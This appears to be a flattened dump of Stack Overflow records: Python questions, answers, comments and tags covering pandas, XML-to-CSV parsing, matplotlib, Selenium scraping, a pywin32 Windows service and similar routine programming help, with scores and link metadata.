has body: I have a working Python 2.7 script which parses all XML files found in the same directory, and saves them to a CSV file. Question How can I modify the below code to show (in the CSV output file) which XML file the parsed record came from? Sample XML files Fruit1.xml Fruit2.xml Current Code from itertools import izip import xml.etree.ElementTree as et import os import csv def run(files): first = None for filename in os.listdir(files): if filename.endswith('.xml'): e = et.parse(filename).getroot() if first is None: first = e else: first.extend(e) return first fruit = [] color = [] e = run(os.path.dirname(os.path.realpath(__file__))) for x in e.findall('CASE'): fruit.append(x.get('Fruit')) for x in e.findall('CASE'): color.append(x.get('Color')) with open('parsed.csv', 'wb') as myfile: fieldnames = ["fruit","color"] writer = csv.writer(myfile) writer.writerow(fieldnames) writer.writerows(izip(fruit,color)) Current Output +--------+--------+ | fruit | color | +--------+--------+ | Apple | Red | | Pear | Yellow | | Banana | Yellow | | Orange | Orange | +--------+--------+ Desired Output +--------+--------+------------+ | fruit | color | filename | +--------+--------+------------+ | Apple | Red | fruit1.xml | | Pear | Yellow | fruit1.xml | | Banana | Yellow | fruit2.xml | | Orange | Orange | fruit2.xml | +--------+--------+------------+ I've tried using a tuple to pair the XML file name with the parsed XML elements, but wasn't able to get this to work.
tagged with: http://stackoverflow.com/tag/xml
has comment: http://stackoverflow.com/comment/80786730
type: AnsweredQuestion
score: 2

http://stackoverflow.com/q/46996679
score: 0
has answer: http://stackoverflow.com/a/46996720
has body: I'm trying to create a function that iterates through each line of a code file and checks to see if each line starts white a whitespace. # open file for reading file = open('FileHandle', 'r') # iterates through each line in file for aline in file.readlines(): # splits each line in file into a separate line values = aline.split() # removes whitespaces that have been unintentionally added values = aline.rstrip() # iterates through each line in file for values in aline: if values.startswith(' ') == True: # the first chacter is a space print 'Contains a line that starts with a space.' # checks if first character is something other than a space if values.startswith(' ') == False: # the first character is something other than a space # since blank lines contain no characters (not even spaces), this will still # be true boolean since '' is not == to ' '. print 'Lines in file do not start with whitespace.' I keep just getting multiple printed statements instead of a single concise statement, even if 1 line starts with a whitespace to print 'Contains a line that starts with a space.'. I'm assuming this has to do with that that my print statements are in the loop.
type: Question
answer count: 2
type: UnansweredQuestion
has title: How to check if each line of a file starts with a whitespace?
has answer: http://stackoverflow.com/a/46996759
tagged with: python

http://stackoverflow.com/q/46913742
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80782971
tagged with: anaconda
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80774653
score: 1
tagged with: matplotlib
tagged with: python
has title: Pick events not working in matplotlib with Anaconda/Spyder on Windows
has comment: http://stackoverflow.com/comment/80775720
has body: I have a script which generates an interactive plot which updates when the user clicks checkboxes and bars on a bar chart. Both work perfectly well on my Mac with Python installed via Homebrew and matplotlib via pip, but clicking the bars does nothing when run through Spyder/Anaconda on university Windows machines. The callback for pick events is as follows: def bar_pick_handler(event): '''Called whenever a bar on the bar chart is clicked. Displays info for that place in the bottom right.''' # Find the x position of the bar that was clicked. rect = event.artist bar_x = rect.get_x() # Transform the position into an index for the x-tick label list and # get the name of the place that the bar represents. place_name = chart.get_xticklabels()[int(bar_x/5)].get_text() # Get the correspomding place dict. place_dict = next(p for p in all_places if p['name'] == place_name) # Set the place info text box text to show information about the selected # place. info_text = '''{name} which is connected to pick events with fig.canvas.mpl_connect('pick_event', bar_pick_handler) later. It seems that the GUI isn't registering pick events when run with Spyder on Windows, changing the callback to just print something does nothing. The checkboxes work fine. Setup on Windows is Python 3.5.1, matplotlib 1.5.1. Spyder 2.3.8, pyt 4.11.4, qt 4.8.7. I have a feeling it's a backend issue, but I don't know enough about Anaconda to get further.
has comment: http://stackoverflow.com/comment/80774948
answer count: 0
upvote count: 2
downvote count: 1

http://stackoverflow.com/a/47048412
answers question: http://stackoverflow.com/q/47048327
type: Answer
accepted answer of: http://stackoverflow.com/q/47048327
upvote count: 1
score: 1
has body: IIUC, use split then group on the first part before '.': df.groupby(df.columns.str.split('.').str[0], axis=1).sum() Output: g_1 g_2 mz n 0 13 24 1 14 1 13 24 1 14 2 13 24 1 14 Where df is: mz n n.1 n.2 n.3 g_1 g_1.1 g_2 g_2.1 g_2.2 0 1 2 3 4 5 6 7 8 8 8 1 1 2 3 4 5 6 7 8 8 8 2 1 2 3 4 5 6 7 8 8 8
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/80961893
type: Comment
comment on: http://stackoverflow.com/a/47007577
score: 0
type: AnswerComment
has text: Yes, I added comments in the code - it is rather unclear what the intent was

http://stackoverflow.com/q/46906620
downvote count: 0
tagged with: selenium
tagged with: web-scraping
upvote count: 1
tagged with: excel
favorite count: 0
type: Question
tagged with: python-3.x
type: UnansweredQuestion
tagged with: python
has title: Excel output not matching scraping and not scrolling issues (Windows user)
has body: Excel output not matching what it is scraping. It only scrapes some of the data. I believe the issue is something to do with the below but I can’t seem to get it working no matter what I change. with open('Aperture Science.csv', 'a+', newline='') as outfile: writer = csv.writer(outfile) for row in zip(langs1_text, langs2_text, langs_text, elem_href): writer.writerow(row) I am running a job on this site and as far as I can tell the job runs smoothly and successfully. I am using windows. Here is the code. Unfortunately, the output does not match what I see in the console. The console says I scraped all pages and its fine. The excel shows just this The other issue is it is not scrolling at all. While not breaking the code, it is odd. I have also tried: driver.execute_script("window.scrollTo(0, document.body.scrollHeight);") To see if it made any difference.
answer count: 0
score: 1

http://stackoverflow.com/comment/81101933
type: Comment
comment on: http://stackoverflow.com/a/47046816
has text: Try using the "trace" module in the stdlib first. It has this feature.
type: AnswerComment
score: 0

http://stackoverflow.com/a/46966557
has body: You could use something like this: import pandas as pd def make_float(v): try: return float(v) except: return pd.np.nan df = pd.DataFrame({'a': [1, 2, 3, 4], 'b': [1, 2, 3, '?']}) df_float = df.applymap(make_float) # or just df_float = df.apply(pd.to_numeric, errors='coerce') After this, df_float will be of type float and will have NaN values wherever invalid entries occurred. This will convert valid number strings (e.g., '0.7') to floats; you have to decide whether that's a good thing. You can then find the location of the NaN values (which were formerly non-convertable entries in df) via this code (from https://stackoverflow.com/a/33641639/3830997): df_nan = df_float.unstack() df_nan = df_nan[df_nan.isnull()] df_nan # b 3 NaN
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46966469
downvote count: 0

http://stackoverflow.com/q/46973444
answer count: 1
has comment: http://stackoverflow.com/comment/80897628
downvote count: 0
upvote count: 1
favorite count: 0
tagged with: paradox
has title: Python 'None' value appearing as -2147483648
type: Question
has comment: http://stackoverflow.com/comment/80896081
accepted answer: http://stackoverflow.com/a/46996152
has answer: http://stackoverflow.com/a/46996152
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
has body: I'm reading in a data file from a Paradox database file (.DB) using a module pypxlib. Whilst reading each row, I write to a CSV. For some reason, values which expected to be 'None' are appearing as the number -2147483648. Does anyone know the significance of this number? Why would this error be appearing? Code below: for idx in range(0,len(matches)): #for each file found print "processing %s" % matches[idx]['file'] #outputfile = path.join('./output/' + form_file_name(dbfile) + '.csv') try: myTable = Table(matches[idx]['file']) #class from pypxlib that takes a filepath cols = [] #and creates a 'table' that can be read for col in myTable.fields: #gets fields from the table cols.append(col) pTable = [] with open(output_folder +"/myoutput_" + matches[idx]['f'] + ".csv", "wb") as f: writer = csv.writer(f) writer.writerow(cols) rowcount = 0 for row in myTable: # for every row in table myRow = [] for fld in cols: # for every cell in the row myRow.append(row[fld]) #append cell to the row writer.writerow(myRow) #then write the row to the csv rowcount = rowcount + 1 if rowcount &gt;= 100: break #just testing on the first 1000 records
score: 1

http://stackoverflow.com/comment/80836281
type: AnswerComment
has text: One can suggest `itemgetter` instead of `lambda` https://stackoverflow.com/questions/17243620/operator-itemgetter-or-lambda, Though no difference in small-medium lists.
score: 0
comment on: http://stackoverflow.com/a/46944412
type: Comment

http://stackoverflow.com/comment/80920298
comment on: http://stackoverflow.com/q/46984912
type: QuestionComment
has text: @MarkRansom I'm not sure what you're trying to say or how it relates to this question..?
type: Comment
score: 0

http://stackoverflow.com/a/46989166
has comment: http://stackoverflow.com/comment/80924902
type: Answer
answers question: http://stackoverflow.com/q/46988602
score: 0
has comment: http://stackoverflow.com/comment/80925233
has comment: http://stackoverflow.com/comment/80925557
has comment: http://stackoverflow.com/comment/80924821
has body: pages = [] destinations_list = [] country = [] for item in pages: page = requests.get(item) soup = BeautifulSoup(page.content, 'lxml') temp = soup.findAll('article') for l in temp: destinations_list.append(l.find('h2').text) country = l.find('p') country.append(country.find('a').text) print destinations_list print country Output: Ellora India Volterra Italy Hamilton New Zealand London United Kingdom Sun Moon Lake Taiwan Texel The Netherlands Zhengzhou China Vladivostok Russia Charleston United States Banska Bystrica Slovakia Lviv Ukraine Viareggio Italy Wakkanai Japan Nordkapp Norway Jericoacoara Brazil Tainan Taiwan Boston United States Keelung Taiwan Stockholm Sweden Shaoxing China Bohol Distance to you Bohol Philippines Saint Petersburg Russia Malmo Sweden Elba Italy Gdansk Poland Langkawi Malaysia Poznan Poland Daegu South Korea Abu Simbel Egypt Melbourne Australia Reunion Reunion Annecy France Colombo Sri Lanka Penghu Taiwan Conwy United Kingdom Monterrico Guatemala Janakpur Nepal Bimini Bahamas Lake Tahoe United States Essaouira Morocco

http://stackoverflow.com/comment/80901377
type: QuestionComment
score: 0
has text: Why do you want to avoid regex?
comment on: http://stackoverflow.com/q/46976611
type: Comment

http://stackoverflow.com/comment/81067350
score: 0
type: AnswerComment
has text: @DanielRoseman I understand, I thought that there is some kind of render_field function or something like that. Thanks, I will use your approach.
comment on: http://stackoverflow.com/a/47059610
type: Comment

http://stackoverflow.com/a/47046620
has comment: http://stackoverflow.com/comment/81041760
has comment: http://stackoverflow.com/comment/81042461
has comment: http://stackoverflow.com/comment/81040503
has comment: http://stackoverflow.com/comment/81042680
score: 0
has comment: http://stackoverflow.com/comment/81042615
has comment: http://stackoverflow.com/comment/81040537
type: Answer
accepted answer of: http://stackoverflow.com/q/47046578
has comment: http://stackoverflow.com/comment/81041858
answers question: http://stackoverflow.com/q/47046578
has comment: http://stackoverflow.com/comment/81042358
type: AcceptedAnswer
has body: If you are new to python, then I can understand why you missed this. The code needs to be activation = self.activate_neuron(neuron['weights'], inputs) not activation = activate_neuron(neuron['weights'], inputs) whenever calling a function created within the same class, you need to use self.function() instead of just function(). This quirk is mostly just for python, but you'll see it a lot Edit: Entire class redone [Other Space Invaders Classes] class BackPropagation(object): def inicializar_rede_neural(self, n_inputs, n_hidden, n_outputs): network = [] #inicializa os pesos da input para a hidden layer hidden_layer = [{'weights':[random() for i in range(n_inputs + 1)]} for i in range(n_hidden)] network.append(hidden_layer) #inicializa os pesos da hidden para a output layer output_layer = [{'weights':[random() for i in range(n_hidden + 1)]} for i in range(n_outputs)] network.append(output_layer) return network #Faz a ativação do neurônio def activate_neuron(self, weights, inputs): activation = weights[-1] for i in range(len(weights)-1): activation += weights[i] * inputs[i] return activation # Transfer neuron activation (self, função sigmoide) def transferir(self, activation): return 1.0 / (1.0 + exp(-activation)) # Realiza o foward propagate def forward_propagate(self, network, row): inputs = row for layer in network: new_inputs = [] for neuron in layer: activation = self.activate_neuron(neuron['weights'], inputs) #&gt;Here's the error&lt; neuron['output'] = self.transferir(activation) new_inputs.append(neuron['output']) inputs = new_inputs return inputs np.random.seed(1) backprop = BackPropagation() network = backprop.inicializar_rede_neural(3, 2, 1) for layer in network: print(layer) row = [1, 1, 0, None] output = backprop.forward_propagate(network, row) print(output)
has comment: http://stackoverflow.com/comment/81041729

http://stackoverflow.com/q/47064511
has comment: http://stackoverflow.com/comment/81104050
tagged with: docker
has body: I am using ReactJS in the front end wherein upon clicking a submit button, it calls 4 apis in dev-environment: ReactDOM.render( &lt;ParameterForm url_schema="http://192.168.99.100/api/v1/var" url_uischema="http://192.168.99.100/api/v1/ui" url_data="http://192.168.99.100/api/v1/data" url_submit="http://192.168.99.100/api/v1/calculated" /&gt;, document.getElementById('form') ); I am using docker to run the application locally which has a settings folder with base.py, local.py and production.py. For Production-env, I want the apis to be called something like these: ReactDOM.render( &lt;ParameterForm url_schema="http://xyz:8000/api/v1/var" url_uischema="http://xyz:8000/api/v1/ui" url_data="http://xyz:8000/api/v1/data" url_submit="http://xyz:8000/api/v1/calculated" /&gt;, document.getElementById('form') ); I need to know whether is there a way in which these apis can be declared either in local.py or production.py and can be called dynamically in my DOM based on the environment in which I run my app.
has comment: http://stackoverflow.com/comment/81103746
answer count: 0
score: 0
linked to: http://stackoverflow.com/q/36545118
has comment: http://stackoverflow.com/comment/81078593
type: Question
tagged with: reactjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81078666
has title: Render Url dynamically in ReactJS depending on the environment
tagged with: django
tagged with: python

http://stackoverflow.com/comment/80826716
comment on: http://stackoverflow.com/q/46939804
type: QuestionComment
has text: @FrançoisAndrieux to get downvotes more quickly?
score: 2
type: Comment

http://stackoverflow.com/comment/80781817
has text: `0.9999546021312976` is absolutely reasonable probability for `softmax([10, 20])`. This is what it **should** return!
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46917134
score: 0

http://stackoverflow.com/q/46934439
answer count: 1
favorite count: 0
has title: Python - checking for integers inside of a ui textfield
has comment: http://stackoverflow.com/comment/80815980
type: Question
tagged with: python
tagged with: pythonista
has body: In the pythonista app for iOS I'm trying to check if a textfield in my ui has any numbers in it when I press on a button. When I use the same code on a string it works. When I use the code for textfield within a button's action it doesn't work. Please help? Here's what my code is like: import ui import console def contains_digits(d): for char in d: if char.isdigit(): return True return False test='test3' print(contains_digits(test)) #this works - it prints TRUE! #below always prints failed even though it should print whatever is in the textfield?! def button_pushed(sender): if contains_digits(textfield1): print(textfield1) print('failed') v=ui.load_view() textfield1 = str(v['textfield1'].text) v.present('fullscreen')
accepted answer: http://stackoverflow.com/a/46939563
has answer: http://stackoverflow.com/a/46939563
has comment: http://stackoverflow.com/comment/80816050
type: AnsweredQuestion
tagged with: ios
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/85883973
type: Comment
comment on: http://stackoverflow.com/a/47174590
has text: I get this error pyrcc5 -o resources.py resources.qrc Traceback (most recent call last): File "/Users/rafikgouiaa/anaconda3/bin/pyrcc5", line 7, in <module> from PyQt5.pyrcc_main import main File "/usr/local/lib/python2.7/site-packages/PyQt5/pyrcc_main.py", line 21, in <module> from PyQt5.QtCore import PYQT_VERSION_STR, QDir, QFile ImportError: dlopen(/usr/local/lib/python2.7/site-packages/PyQt5/QtCore.so, 2): Symbol not found: _PyClass_Type Referenced from: /usr/local/lib/python2.7/site-packages/PyQt5/QtCore.so Expected in: flat namespace make: *** [qt5py3] Error 1
type: AnswerComment
score: 0

http://stackoverflow.com/comment/80990020
comment on: http://stackoverflow.com/q/47021031
score: 0
has text: MI6 - This a seperation between Rows, always = constant
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81050247
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47050509
type: Comment
has text: Answer updated with respect to modules. Registering each task explicitly or the entire module both are correct.

http://stackoverflow.com/comment/80811876
score: 2
type: Comment
type: QuestionComment
has text: I'd shoot myself long before I did that to 1000+ files though ;)
comment on: http://stackoverflow.com/q/46932403

http://stackoverflow.com/comment/81847515
type: Comment
has text: @MichaelBeyer You may decide to [accept my answer](https://stackoverflow.com/help/someone-answers) for future visitors as it is a bit messy.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46981578

http://stackoverflow.com/comment/81038776
score: 0
type: QuestionComment
has text: i meant that there would be some processing with those three parameters. then a single value would be returned.
type: Comment
comment on: http://stackoverflow.com/q/47045669

http://stackoverflow.com/comment/80829072
type: QuestionComment
comment on: http://stackoverflow.com/q/46940868
has text: You mean like `first_item = next(g)` ?
type: Comment
score: 1

http://stackoverflow.com/comment/80918803
score: 0
has text: There's no reason for this to be a list comprehension and not a for loop. You're just building a list of `None`s that you do nothing with
type: AnswerComment
comment on: http://stackoverflow.com/a/46985790
type: Comment

http://stackoverflow.com/comment/81020927
has text: this seems to work indeed. However, ideally I'd like to make my code as simple as possible. It's not possible to have these requests yielded directly in the `self.test` function without doing a loop in the `self.parse` function?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47033281
type: Comment

http://stackoverflow.com/a/46963081
downvote count: 0
upvote count: 1
score: 1
has body: Welcome to the magic of floating point math. You can find a nice answer here: Is floating point math broken? Spoiler: no, just difficult.
type: Answer
answers question: http://stackoverflow.com/q/46963018

http://stackoverflow.com/q/47036509
answer count: 4
has answer: http://stackoverflow.com/a/66517985
tagged with: numpy
upvote count: 3
has comment: http://stackoverflow.com/comment/81019505
accepted answer: http://stackoverflow.com/a/47037099
downvote count: 0
has comment: http://stackoverflow.com/comment/81019715
has answer: http://stackoverflow.com/a/47037499
has answer: http://stackoverflow.com/a/47037099
tagged with: scipy
has comment: http://stackoverflow.com/comment/81019705
has comment: http://stackoverflow.com/comment/81020224
has comment: http://stackoverflow.com/comment/81019797
favorite count: 0
type: Question
linked to: http://stackoverflow.com/q/4535374
possible better answer: http://stackoverflow.com/a/47036743
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81019865
linked to: http://stackoverflow.com/q/35192518
has comment: http://stackoverflow.com/comment/81019650
has answer: http://stackoverflow.com/a/47036743
has comment: http://stackoverflow.com/comment/81019171
has comment: http://stackoverflow.com/comment/81020944
has comment: http://stackoverflow.com/comment/81019481
has comment: http://stackoverflow.com/comment/81020006
has body: New at Python and Numpy, trying to create 263-dimensional arrays. I need so much dimensions for Machine Learning model. Of course one way is using numpy.zeros or numpy.ones and writing code as below : x=np.zeros((1,1,1,1,1,1,1,1,1,1,1)) #and more 1,1,1,1 Is there an easier way to create arrays with many dimensions?
tagged with: python
has title: N dimensional array in python

http://stackoverflow.com/comment/80962979
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47008008
has text: I see... when i try that though I get the following: Traceback (most recent call last): File "myprogram.py", line 39, in <module> chdir(args.dir) TypeError: argument should be string, bytes or integer, not PosixPath
type: Comment

http://stackoverflow.com/q/47004665
has comment: http://stackoverflow.com/comment/80955802
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/2612802
has comment: http://stackoverflow.com/comment/80955821
tagged with: python
tagged with: foreach
score: 0
has answer: http://stackoverflow.com/a/47005018
has body: I'm writing a method that takes a list of lists ([[], [], [],], for example), and weeds out all lists that already have an existing permutation in the main list. For example, if given: [[1, 2, 3, 4], [2, 3, 4, 1], [1, 2, 4, 3]], it would only return [[1, 2, 3, 4]]. Or, if given: [[0, 0, 1, 1], [1, 1, 0, 0], [0, 1, 1, 0], it would only return [0, 0, 1, 1]]. The edge case is if I give it a list like: [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0] ,[0, 0, 0, 0]], it returns [[0, 0, 0, 0], [0, 0, 0, 0]] This is because the second for loop in my method is ending early, and I can't figure out why. Thanks so much in advance! def removeDuplicates(self, lists): for list in lists: list.sort() returnList = lists for list in lists: returnList.remove(list) if not list in returnList: returnList.append(list) return returnList
answer count: 1
has title: Foreach loop not iterating all the way to the end in Python
tagged with: loops
duplicate of: http://stackoverflow.com/q/2612802
type: Question
tagged with: iterator
tagged with: for-loop

http://stackoverflow.com/q/46995469
type: AnsweredQuestion
score: 0
has title: PANDAS Function manipulation
tagged with: pandas
answer count: 1
has body: So I have a dataset that looks like: I want to aggregate for each ORIGIN_CITY_NAME, count the number of unique Carrier in that City. Example: For Dallas/Fort Worth,TX: Let's say they have 4 different UNIQUE_CARRIER like AA(American Airlines), Delta Airlines, Southwest Airlines, and JetBlue. Then the output should look like: Out[1]: ORIGIN_CITY_NAME # of unique carriers 0 Dallas/Fort Worth,TX 4 1 San Francisco, CA 5 ... Any ideas? I tried:
type: Question
has answer: http://stackoverflow.com/a/46995487
accepted answer: http://stackoverflow.com/a/46995487
tagged with: python-3.x
tagged with: group-by
tagged with: python
tagged with: sorting

http://stackoverflow.com/comment/80800477
type: AnswerComment
comment on: http://stackoverflow.com/a/46926483
score: 0
type: Comment
has text: Unfortunately, no. I set `@method_decorator(csrf_exempt, name="post")` and now I get once again `Forbidden (403) CSRF verification failed. Request aborted.`

http://stackoverflow.com/comment/81039718
type: Comment
type: QuestionComment
has text: i was asking about this line `for suggestion in aaa:` what do you want to obtain with it ?
comment on: http://stackoverflow.com/q/47045597
score: 0

http://stackoverflow.com/comment/80765429
type: Comment
has text: unfortunately, using by xpath (find_elements_by_xpath) is not returning any elements, and there are 9 elements in the page. Do you know the reason?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46908208

http://stackoverflow.com/a/46925223
accepted answer of: http://stackoverflow.com/q/46924583
answers question: http://stackoverflow.com/q/46924583
type: Answer
has body: With BeautifulSoup this is relatively straightforward - the idea is to locate the "milestone" elements by class and text and then get to the next sibling using .next_sibling: from bs4 import BeautifulSoup data = """ &lt;div&gt; &lt;span class="milestone"&gt;Announcement:&lt;/span&gt; "&amp;nbsp; 2 April 2000 " &lt;br&gt; &lt;span class="milestone"&gt;Ground Breaking:&lt;/span&gt; "&amp;nbsp; 23 February 2002 " &lt;br&gt; &lt;/div&gt;""" soup = BeautifulSoup(data, "html.parser") print(soup.find(class_="milestone", text="Announcement:").next_sibling.strip()) print(soup.find(class_="milestone", text="Ground Breaking:").next_sibling.strip()) Prints: " 2 April 2000 " " 23 February 2002 "
has comment: http://stackoverflow.com/comment/80821403
has comment: http://stackoverflow.com/comment/80823054
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/46981908
answers question: http://stackoverflow.com/q/46981535
type: Answer
has body: Find the shared columns, then slice both data frames using this, and then multiply: In [47]: df1 Out[47]: X Y Z 0 1 2 3 1 4 5 6 2 7 8 9 In [48]: df2 Out[48]: X XX Y Y1 YY 0 1 2 NaN 4 NaN 1 4 5 NaN 4 5 2 7 8 9 2 3 In [49]: shared_cols = [col for col in df1.columns if col in df2.columns] In [50]: shared_cols Out[50]: ['X', 'Y'] In [51]: df1[shared_cols] * df2[shared_cols] Out[51]: X Y 0 1 NaN 1 16 NaN 2 49 72
score: 0
has comment: http://stackoverflow.com/comment/80911703
has comment: http://stackoverflow.com/comment/80913096

http://stackoverflow.com/comment/86742328
score: 0
type: Comment
has text: This code returns only one list (one set of id,username,email). How do you return multiple sets?
comment on: http://stackoverflow.com/a/46940969
type: AnswerComment

http://stackoverflow.com/comment/80807401
comment on: http://stackoverflow.com/a/46913714
type: Comment
type: AnswerComment
score: 0
has text: How would we extend this if the 1 dimensional vector `p` was also a sparse csr array? So in other words, both inputs into the hellinger function would be sparse? If we use the current method we get `dimension mismatch`

http://stackoverflow.com/a/46999477
has comment: http://stackoverflow.com/comment/81077863
has comment: http://stackoverflow.com/comment/80961476
type: Answer
has comment: http://stackoverflow.com/comment/80962457
has comment: http://stackoverflow.com/comment/80984557
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80951405
has body: You need to sort on both fields using df.sort_values(['account', 'date']). But you can't just sort the data frame when the date is represented as a string or an integer because in many cases you will get the wrong order, e.g. integer 1011997 sorts before 1021980 although the latter represents a date in 1980. Similarly '01011997' sorts before '01021980'. So convert the dates into datetimes first. Here I assume that the date column contains strings because your sample data suggests that. import pandas as pd sales = [('account', ['A11', 'A11', 'C11', 'A12','B12','A13','B11']), ('date', ['01011997', '01021980', '07202005', '02011997', '12102001', '10012000', '11012001'])] df = pd.DataFrame.from_items(sales) &gt;&gt;&gt; df.sort_values(['account', 'date']) account date 0 A11 01011997 1 A11 01021980 3 A12 02011997 5 A13 10012000 6 B11 11012001 4 B12 12102001 2 C11 07202005 In this case row 1 should sort before row 0, but it doesn't because the column is sorted lexicographically. To fix that convert df['date'] to dtype datetime64 then sort: &gt;&gt;&gt; df['date'] = pd.to_datetime(df['date'], format='%m%d%Y') &gt;&gt;&gt; df account date 0 A11 1997-01-01 1 A11 1980-01-02 2 C11 2005-07-20 3 A12 1997-02-01 4 B12 2001-12-10 5 A13 2000-10-01 6 B11 2001-11-01 &gt;&gt;&gt; df.sort_values(['account', 'date']) account date 1 A11 1980-01-02 0 A11 1997-01-01 3 A12 1997-02-01 5 A13 2000-10-01 6 B11 2001-11-01 4 B12 2001-12-10 2 C11 2005-07-20 which looks correct.
answers question: http://stackoverflow.com/q/46996261

http://stackoverflow.com/a/46933129
has comment: http://stackoverflow.com/comment/80813269
has body: So to use this example I found the simplest way to implement a self sufficient python script without any 3rd party compilers/services: Install win32 module package: pip3 install pypiwin32 Code: import win32serviceutil import win32service import win32event import servicemanager import socket import sys class TestService(win32serviceutil.ServiceFramework): _svc_name_ = 'TestService' _svc_display_name_ = 'TestService' def __init__(self, args): win32serviceutil.ServiceFramework.__init__(self, args) self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) socket.setdefaulttimeout(60) def SvcStop(self): self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) win32event.SetEvent(self.hWaitStop) def SvcDoRun(self): servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, '')) self.main() def main(self): f = open('D:\\test.txt', 'a') rc = None while rc != win32event.WAIT_OBJECT_0: f.write('Test Service \n') f.flush() # block for 24*60*60 seconds and wait for a stop event # it is used for a one-day loop rc = win32event.WaitForSingleObject(self.hWaitStop, 24 * 60 * 60 * 1000) f.write('shut down \n') f.close() if __name__ == '__main__': if len(sys.argv) == 1: servicemanager.Initialize() servicemanager.PrepareToHostSingle(TestService) servicemanager.StartServiceCtrlDispatcher() else: win32serviceutil.HandleCommandLine(TestService)
score: 1
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46932243
type: Answer

http://stackoverflow.com/a/46966111
downvote count: 0
has body: There are existing gcd implementations in Python, and LCM is definable in terms of gcd, so you may as well avoid reinventing the wheel. Specifically: gcd(a, b) x lcm(a, b) = a x b With Python 3.5 and higher, there is an accelerated gcd function on the math module, so lcm can simplify to: from math import gcd def getLCM(a, b): return a * b // gcd(a, b) On older Python, it's not accelerated, but fractions.gcd is a decent implementation provided for you, so you can use it instead, or to use the best possible gcd on whatever version you run on, a nested import attempt works: try: from math import gcd except ImportError: from fractions import gcd Your nlcm loop could also be simplified: You don't need to destructively iterate manually, just loop: def nlcm(num): temp = 1 for x in num: temp = getLCM(temp, x) return temp Or if you want to get clever, use reduce (functools.reduce on Python 3.x) since it does exactly what that simplified loop is already doing: from functools import reduce def nlcm(nums): return reduce(getLCM, nums, 1)
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/80880238
answers question: http://stackoverflow.com/q/46966060
score: 2
has comment: http://stackoverflow.com/comment/80880266

fuzzy
tags question: http://stackoverflow.com/q/46952594
tag name: fuzzy
tags question: http://stackoverflow.com/q/46987911
tags question: http://stackoverflow.com/q/46920599
type: Tag

http://stackoverflow.com/comment/80913822
has text: show more context code, show how `ssh_conn` was defined
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46983203

http://stackoverflow.com/comment/81011272
comment on: http://stackoverflow.com/a/47021967
score: 0
has text: Will need a bit of fiddling to get a hang of number of plots, but I think it is the right way, thank you. Too bad there's no built in way, but can't do much about it
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80812267
has text: can you please provide what exactly does not work? do you get an error message? please add to your post those unexpected results.
comment on: http://stackoverflow.com/q/46932542
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80778306
comment on: http://stackoverflow.com/q/46915430
score: 2
type: Comment
type: QuestionComment
has text: please add the code you have attempted to write so far

http://stackoverflow.com/a/46948384
type: Answer
answers question: http://stackoverflow.com/q/46946681
downvote count: 0
score: 1
upvote count: 1
has body: Another way to do this , you can use numpy.where to get the columns conditionally populated import pandas as pd import numpy as np data_dict = {'a':[5,2,4,5,3,3,1,2,3], 'name':['Jack','jon',"tom",'lazzy','mack','zack','makilo','drag','maiko']} data_01 = pd.DataFrame(data_dict) #This will create columns 'good','mid','poor' all with default values '0' data_01['good']=0 data_01['mid']=0 data_01['poor']=0 #Here you are setting each column with value '1' , based on the condition data_01['good']=np.where(data_01['a'] &gt; 3,1, data_01['good']) data_01['mid']=np.where(data_01['a'] == 3,1, data_01['mid']) data_01['poor']=np.where(data_01['a'] &lt; 3,1, data_01['poor']) print data_01 Output is a name good mid poor 0 5 Jack 1 0 0 1 2 jon 0 0 1 2 4 tom 1 0 0 3 5 lazzy 1 0 0 4 3 mack 0 1 0 5 3 zack 0 1 0 6 1 makilo 0 0 1 7 2 drag 0 0 1 8 3 maiko 0 1 0

mouse-cursor
tag name: mouse-cursor
tags question: http://stackoverflow.com/q/47015858
type: Tag

http://stackoverflow.com/comment/81017701
type: AnswerComment
has text: In case you wanted to use the new interpolated strings, you missed the f prefix..
comment on: http://stackoverflow.com/a/47034052
type: Comment
score: 0

http://stackoverflow.com/comment/80900414
type: Comment
comment on: http://stackoverflow.com/a/46973170
has text: If 1 is class representative: 5-1 = 4, so 5 is in this class. Because of no repetition, 5 cannot be new class representative . then next class will be 7: (7-11).
score: 0
type: AnswerComment

http://stackoverflow.com/comment/80778440
score: 1
comment on: http://stackoverflow.com/q/46915455
type: Comment
has text: What exactly did you do? You simply replace that executable with a different python executable? There are also executables there that should be named for the specific version of Python, e.g. `/usr/bin/python2.6` (in CentOS 6) -- You can try copying that file to `/usr/bin/python` assuming you did not overwrite those as well.
type: QuestionComment

google-cloud-platform
tags question: http://stackoverflow.com/q/46907994
tags question: http://stackoverflow.com/q/46952766
tags question: http://stackoverflow.com/q/47022424
tag name: google-cloud-platform
tags question: http://stackoverflow.com/q/46958323
tags question: http://stackoverflow.com/q/46994549
tags question: http://stackoverflow.com/q/46914116
type: Tag

http://stackoverflow.com/q/46984155
has title: Pivot and concat values Pandas DataFrame
